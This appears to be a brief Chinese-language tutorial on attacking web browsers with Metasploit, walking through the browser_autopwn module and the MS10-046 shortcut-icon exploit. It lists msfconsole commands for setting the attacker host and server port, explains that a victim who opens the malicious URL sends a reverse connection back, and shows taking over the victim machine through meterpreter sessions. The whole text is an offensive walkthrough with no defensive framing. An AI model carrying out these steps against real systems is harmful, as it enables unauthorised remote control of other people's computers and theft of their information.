浏览器漏洞攻击
1.启动msfconsole,输入use auxiliary/server/browser_autopwn
2.可以通过show options查看需要设置的信息
3.设置参数
set LHOST <攻击主机ip>
set SRVHOST <本地ip>
setSRVPORT 80
点击run
该模块有个恶意url,即图上最后的using url
被攻击对象的系统上打开该url后,会发送一个反向连接给攻击者的系统,可以看到上图反向链接被建立了,能看到进程被迁移
可以通过任务管理器看到进程有被迁移
输入sessions可以查看meterpreter会话的,通过sessions -i <id>就可以选中
之后就可以查看被攻击主机的所有信息了
ie快捷方式图标漏洞攻击
使用exploit/windows/browser/ms10_046_shortcut_icon_dllloader,进入该模块
设置主机IP和端口
被攻击主机输入这个url
此时,可以就被完全控制,输入sessions,可以查看进程
选择sessions,就可以进入查看详细
如图,可以进行一些别的操作,如获取网络信息等等